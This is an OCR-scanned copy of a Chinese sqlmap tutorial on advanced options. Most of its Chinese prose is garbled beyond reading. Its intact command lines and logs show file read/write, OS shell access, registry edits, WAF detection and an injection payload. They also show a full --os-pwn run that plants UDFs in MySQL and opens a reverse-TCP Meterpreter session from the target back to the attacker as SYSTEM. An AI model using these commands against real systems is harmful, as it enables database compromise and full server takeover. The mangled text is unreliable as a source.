ic—{7 SQLmap {EAFHIG (2)

o
i}

F—mXE: 12— SQlmap FERFMINGE (—) (https://xz.aliyun.com/t/3010)
AERAREERE (QAQ)

AAEZE: http://www.cnblogs.com/miraitowa/ (http://www.cnblogs.com/miraitowa/)

HittSH
ARBEEXHREEAN
72";'55'( -udf-inject,-shared-1lib

{RETLUBITSRIE mysoL SENIRBEENAIREL  (UbFs) skpostgresol {E windows FAHEZE, oL
EJZ% Linux/Unix EF'#E?XYT%,

salmap G RIAR—LERR, HERIIRSREAUEEEENRE, ARRIFRAGEERTMI], 3
IRENTTHR,  saimap BSBEREA.

REHHRME
M ETRRERRSS SRR

///// I


https://xz.aliyun.com/t/3010
http://www.cnblogs.com/miraitowa/

Z=%Y. -file-read

HEUEREI mysoL. PostgresqL B Microsoft squserver , FHEXHBIFBFPBAIIRERSTEREL. 1=
AT AR A e LA A HISE.

B3 HE RIS EERSS 2+
S8  -file-write,-file-dest

LEUEZE/ mysaL. PostgresQLuiMicrosoft sqLserver , FFEHBIFBFBNRERSENRE. H1E
A4 RT AR N AR LAR IS4,

BITERRERARDS
715’;‘55( -os-cmd,-os-shell
HEWBEESD mysaL. PostgresqLaiMicrosoft sQu server , FE I BEIIRERYFERIREL.

f£ MysqL. PostgresqL, sqlmap HE—N_iHHIE, S2BAFEENXAR

ékz'f[, sys_exec()fisys_eval() o

BB AR N R LI TREAR TS . £ Microsoft sqLserver, sqlmap 1FME
ﬁa xp_cmdshell ﬁﬁ%ﬁ*ﬁ,

GNERMKEE  (femicrosoft s serverzeos NLA EMRAENAZEH) ,  samep KEFHEAE, WHRA
=&, =BatlE,

A3 -os-shet1 SEHAJLMERI—NESLRY shelr , AILUIBIARIEHAITRIAES .

BRBEHITSIETRIRHE (Hba0 php 8 asp BSIREUREN msow BY) | {BFARTRESRE
Fi wrooutriie SEHAIEER, REE— web /5[], HIES:



1. ASP
2. ASP.NET
3. JSP

4. PHP

Meterpreter Bt &{ER
72"55[ . -0s-pwn,-os-smbrelay,-os-bof,-priv-esc,-msf-path,-tmp-path

HEUEBEESI mysaL. PostgresqLaiMicrosoft souserver , FHEHBIFBF B IRERSTERREL, 7L
EHRESWEHEEEENT o EE,

J‘Zﬁ\ﬁiﬁﬁfl«‘)\%—ﬁ\ﬁﬁitﬁé\ﬁﬂ’ﬂ Meterpreter %iﬁ, sqlmap *EJ:E Metasploit EE

B% shellcode , FHEWUMABRHITE:

1. AP EE X Bsys_bineval () BEE N TMetasplitffishellcode, X #iMySQLFIPostgreSQLEERE, &
#¥: --os-pwn.

2. B AE E UK R E A — AN [ pay load AT, MySQLAIPostgreSQLIfsys exec() #i#t, Microsoft SQL Serve
rH#9xp_cmdshell() %, Z¥: --os-pwn.

3. i SMBILi; (MS@8-068) K fTMetasploitffishellcode, *4sqlmapiREXE| KPR E 4= HKIRE (Linux/Unix[fjuid=

9, Windows&Administrator) , --os-smbrelay.

4. iR HMicrosoft SQL Server 200012005/ ]sp_replwritetovarbinfifigid e (MSe9-004), 7EN1E i TMetaspl
oitffjpayload, Z%{: --os-bof



HlEE—A~ mysoL fBIlF:

$ python sglmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn

--msf-path /software/metasploit

[..

-]

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0

[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling

\>

[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2]
\>
[hh

[hh
[hh
[hh
[hh
[hh

how

underlying

64-

cmm:
cmm:
smm:
cmm:
cmm:

smm:

do

bit

33]
33]
33]
33]
34]
34]

you

[INFO] checking if UDF 'sys_bineval' already exist

[INFO] checking if UDF 'sys_exec' already exist

[INFO] detecting back-end DBMS version from its banner
[INFO] retrieving MySQL base directory absolute path
[INFO] creating UDF 'sys_bineval' from the binary UDF file
[INFO] creating UDF 'sys_exec' from the binary UDF file

want to execute the Metasploit shellcode on the back-end database

operating system?

[1] via UDF 'sys_bineval' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)



\>

[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on

all ports

between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection
\>

which is the local address? [192.168.136.1]

which local port number do you want to use? [60641]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VUNC

\>

[hh:mm:40] [INFO] creation in progress ... done

[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,

please wait..

\_

\[\| o

AN N W W VA Y AV VP WY B B VA VR WA N A W

AR VRN VARY ERN VARN BVARN VAR VAN VAN VAN VAVARN VRN RN

AR ERY VAN VAN VANVWWAN AVARNVARN HEVARN MEVANVEWVARN IVAN Y/

A

W\

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

\+ -- --=[ 674 exploits - 351 auxiliary

\+ -- --=[ 217 payloads - 27 encoders - 8 nops

=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD =\> windows/meterpreter/reverse_tcp
EXITFUNC =\> thread

LPORT =\> 60641

LHOST =\> 192.168.136.1

[\*] Started reverse handler on 192.168.136.1:60641

[\*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF



'sys_bineval’,

please wait..

[\*] Sending stage (749056 bytes) to 192.168.136.129

[\*] Meterpreter session 1 opened (192.168.136.1:60641 -\>
192.168.136.129:1689) at Mon Apr 11

hh:mm:52 +0100 2011

meterpreter \> Loading extension espia...success.
meterpreter \> Loading extension incognito...success.
meterpreter \> [-] The 'priv' extension has already been loaded.
meterpreter \> Loading extension sniffer...success.
meterpreter \> System Language : en_US

0S : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2

Architecture : x86

Meterpreter : x86/win32

meterpreter \> Server username: NT AUTHORITY\\SYSTEM
meterpreter \> ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39

IP Address : 192.168.136.129

Netmask : 255.255.255.0

meterpreter \> exit

[\*] Meterpreter session 1 closed. Reason: User exit

Eki 'r%;E,—F MySQLE Windows J:L\,{ SYSTEM 1‘25&@?3_', PostgreSQL E Windows '—5 Linux EF'E{EE
NPRIZTT,

Microsoft SQL Server 2000 ERIARLA svstem PRIZITS 2008 AEBS2LA NeTwork SErRvIcE BRT

B LocAL SERVICE

It \AlinAdaAwe 3I00ZEIRIIE



AJ VVILIUUWWD LN ARTR]

LBUEEES MysoL, PostgresQL BY Microsoft sQL server , FFEXET web NSTIFHEEE., 2R,
HeEnERIEEN R P B EEENRIEEEMER.

ZEGEMZRE
%ﬁ& -reg-read
EANiEHRE
7}/355& -reg-add

HERiERRE

%ﬁﬂl -reg-del

i ERRERAHEDEELR
%ﬁ& -reg-key, -reg-value, -reg-data, -reg-type
BERAZH=NLHER, FIF:

\$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
--reg-add --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\sqlmap" --reg-value=Test
--reg-type=REG_SZ --reg-data=1

LS
M sqlite #3sEEX session

S8 s



salmap XIE—PNEIRESTE output R TEMER— souite X4, SNRAFEISEIENN
MHERR, BETLIEXN S,

fRfF HTTP(S) B

BH:

XNMSHEFBBRIR—PINANM,  samap S8 wrre(s) IBRSMMMNAYRHRFEIFRE.

IR EER

S -baten

RS, AFERFBAN, B2EA sqlmap RIBME—RIZIT FE.

S SEFRF TR

SE: —charset

AMEA sqlmap BamRBIEY (20 HTTP 3kHAY Content-Type) FRHRAE, BFHEEFTIRD
un:

-charset=GBK

T&17MIus URL
%’ﬁﬁ -crawl

salmap AJLAKEEEERRIREFERERIIER, EHIRISHERITHRE.

1R -



V73 J -

$ python sqglmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

[...]

[xx:xx:53] [INFO] starting crawler

[xx:xx:53] [INFO] searching for links with depth 1

[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2

[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:00] [INFO] 42/56 links visited (75%)

MEREHE CSV SR/
7‘5’;‘5& -csv-del

= dump {RTF/ CSV A&ZAT  (-dump-format=csv) , BE—IDIBHFEIARES, AFBALL
BABIRY
an:

-csv-del=";”

DBMS SpiEiE
72%’55[ . -dbms-cred

REHRIBIRPIIBIRA, MERLRFRRW, WMRNESRAFNER, JLMERLS
., BRYEEESTIIRIETIE,



A LAIHEFAF U0 MicrosoftsQL ServeritJOPENROWSET RRIZH

FEX dump HEREATIETC

S¥0:  -dump-format
IHAGSIUAEN J9:  csv. HTML, SQLITE
TS 5eRXATIE]

S -eta

LA B E NSRRI AT,

BIE0 oracle H9FR/REYEIE:

$ python sglmap.py -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle

[hh:mm:01] [INFO] fetching banner

[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64

17% [========\> ] 11/64 ETA 00:19

=R

100% [===================================================
64/64

[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9



back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap SeiitHiKE, FhitseriitiEl, BREntt, BtHTRF

[T session 37{4
%ﬁ& -flush-session

WEAEAZHIEEXN BRI session 34, FJLUEEXNSEL
SiETZaIY session, EFTUEHiZBTR,

BEENFEEN form FRE
715’;‘55( —forms

WNER(FAEXT— N TUERY form REFHISENNK, PTLMER - r 2EGSRUSERUY, & Ed-
data SN,
BRHER-forms 28R, sqlmap £BIM - u FRY url SREXAEPAIRBEHI T,

RIERTE XM PEENEIRER

»

Z ’;‘z:f( -fresh-queries

\

g session MHRFHIER, BEHEA.
{§5F3 DBMS B9 hex ER%g
%’;‘;& -hex

BIHRFAHRISAIEIE, TJRESEEUEERR, ALAGER hex RECKER:



EtXT Postgresor ffllF:

$ python sqglmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner

[xx:xx:14] [PAYLOAD] 1 AND

5849=CAST((CHR(58)\|\|CHR(118)\|\|CHR(116)\|\|CHR(106)\|\|CHR(58))\ |\ | (ENCODE (CONVERT_TO( (COALESCE(C
AST(VERSION()

AS

CHARACTER(10000) ), (CHR(32)))), (CHR(85)\ |\ |CHR(84)\|\|CHR(7@)\|\|CHR(56))), (CHR(72)\|\|CHR(69)\ |\ |CHR
(88))))::text\|\|(CHR(58)\|\|CHR(118)\|\|CHR(120)\|\|CHR(98)\|\|CHR(58))

AS NUMERIC)

[xx:xx:15] [INFO] parsed error message: 'pg_query() [\<a

href="function.pg-query'\>function.pg-query\</a\>]: Query failed: ERROR: invalid

input syntax for type numeric:
":vtj:5061737467726553514c20382e332e3920616€20693438362d70632d6c696€75782d676€752c20636f6d70696Cc6564
20627920474343206763632d342e332e7265616c202844656269616€2032e332e322d312e312920342e332e32:nxb:"

in \<b\>/var/www/sqlmap/libs/pgsql.inc.php\</b\> on line \<b\>35\</b\>"’

[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by

GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

[...]

BE MR
7&3’5& . -output-dir

sqlmap ENAE session SUHIRERARFIE output LR, RILSHATBE MR

@UQD . -—output-dir=/tmp

MIFRZFPFREY DBMS AOEIREE



%ﬁ&: -parse-errors

BIYBIRREXE DBMS pOfikis, SEUEFEQEIXRN, SBELEREY, BRSHELSE

HIBIRER.

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors

[...]

[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (©x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10
is out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (©Ox80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (©x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] target URL appears to have 3 columns in query

[...]

Hitigpy—LeS#

ERSHES



28 -
BEASHAKAEZ, JLUERESER. Ha0:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u

"www.target.com/vuln.php?id=1"

JLASRL:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

wAa:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb

-T users -u "www.target.com/vuln.php?id=1"

LS

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u

"www.target.com/vuln.php?id=1"

FXI0 SQL IENRES

%ﬁ& -alert

1XZE2:7§E‘ & ;"%i‘-{

%ﬁﬂ: -answers

SRE samap RHEAE, BHBABECEBZRISERAILMERLLSE: flF:



$ python sglmap.py -u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N" --batch

[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'

heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y

[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1)? [Y/n] N

[...]

R SQLIENRT R HIEISE
S -beep

B sql iIEANRS, KRHEISHE,
BRI WAF/IPS/IDS R4
S8 -check-waf

waF/1ps/105 {RIFEIBERRT salmap IERARARIEINL, WNRINEEEFALLBGIFANE, AILAGERLL
SR, sanap BREA— I TFERNSECKEINNT

fHuan:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables
WHERE 2>1



NERBRIFAIET R EIERAAE.,

iBHE sqlmap AY UDF(s) f1zk

SH  -cleanwp

iB5k& sqlmap JENBIFEARY udf 53,

ZR¥aRH

23: -disable-coloring

sqlmap ENAE &, FJLGRALLSE, ek,
{#FESERY Google Z£RTH

SH.  -gpage

BRIA sqlmap fEFRT 100 4~ URL EUHE/SIENIUE, SSEIETT, STLMSEREAY URL U
iito

{5 HTTP S5

S8 -hpp

HTTP S80S nIgea5ud war/ps/10s {FRIFHLEI, IXANXT asp/1issase.net/iis SERRBR,
iz, WAF/IPS/IDS {#4F

%’ﬁﬁl -identify-waf



sqlmap AILAZ=I#H WAF/IPS/IDS {RiF, HERFMEZREH. BRIALISF 30 #r-m

ARE,

Bang—ZE] ModSecurity WAF {£F89 MySQL #IF:

$ python sqglmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf -v 3

[...]

[xx:xx:23] [INFO] testing connection to the target URL

[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server
(United Security Providers)’

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application
Firewall (BinarySEC)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web
Application Firewall (NetContinuum/Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway
(Cisco Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5
Networks) '

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application
Firewall Enterprise (Teros/Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions
(Akamai Technologies)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application
Firewall (Incapsula/Imperva)'’

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)’

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application
Firewall (Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application



Security (IBM)-

[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'

[xx:xx:23] [DEBUG] page not found (404)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'’

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application
Firewall (Jiasule)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application
Firewall (AQTRONIX)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source
Web Application Firewall (Trustwave)'

[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web

Application Firewall (Trustwave)'. Please consider usage of tamper scripts

(option '--tamper')
[...]
R EREF

%’ﬁﬁ -mobile
Bl IRFimREREohimavinE), WEATLUSE—DNFVIRY user-agent SEAR{GFANEE.
an:

$ python sqglmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

[...]

which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)

[2] BlackBerry 9900

[3] Google Nexus 7

[4] HP iPAQ 6365

[5] HTC Sensation

[6] Nokia N97



[7] Samsung Galaxy S
\> 1

[...]

Z2HIMIES output BRAISH

7&355& -purge-output
BREEMRERG, MAMIKE, eILUERILSE, REXFEEEBIA—EX 4 EE.
fan:

$ python sqglmap.py --purge-output -v 3

[...]

[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output’'...
[xx:xx:55] [DEBUG] changing file attributes

[xx:xx:55] [DEBUG] writing random data to files

[xx:xx:55] [DEBUG] truncating files

[xx:xx:55] [DEBUG] renaming filenames to random values

[xx:xx:55] [DEBUG] renaming directory names to random values

[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

BARVAFLEN

%ﬁﬁ -smart

\

BIXIEREESR URL #TIE, ATERIE, RIS REFIRTENRIRIERIITE
A, AJLMERLESEL,

B+



$ python sglmap.py -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch

--smart

[...]

[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic

[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable

[xx:xx:14] [INFO] skipping GET parameter ‘ca’

[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic

[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user'’

might not be injectable

[xx:
[xx:
[xx:
[xx:
[xx:
[xx:

XX
XX
XX
XX
XX

XX

:14] [INFO] skipping GET parameter 'user'

:14] [INFO] testing if GET parameter 'id' is dynamic

:14] [INFO] confirming that GET parameter 'id' is dynamic

:14] [INFO] GET parameter 'id' is dynamic

:14] [WARNING] reflective value(s) found and filtering out

14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be

injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you

want to skip test payloads specific for other DBMSes? [Y/n] Y

do you want to include all tests for 'MySQL' extending provided level (1) and
risk (1)? [Y/n] Y

[xx:

[xx:

XX

XX

HAVING

[xx:

XX

:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or
clause' injectable

:14] [INFO] testing 'MySQL \>= 5.0 AND error-based - WHERE or HAVING

clause’
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL \>= 5.0 AND error-based - WHERE
or HAVING clause' injectable

[xx:xx:14] [INFO] testing 'MySQL inline queries'



[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 stacked queries’

[xx:xx:14] [INFO] testing 'MySQL \< 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 AND time-based blind'

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL \> 5.0.11 AND time-based blind'

injectable

[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found

[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test

[xx:xx:24] [INFO] target URL appears to have 3 columns in query

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20
columns' injectable
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PRBFRSESE

S8 -wizard HEHIRAFRIZE, TU—S—LHRUNTBMASTBIREN.,
SE588

REHFIRE kali-linux-web fog
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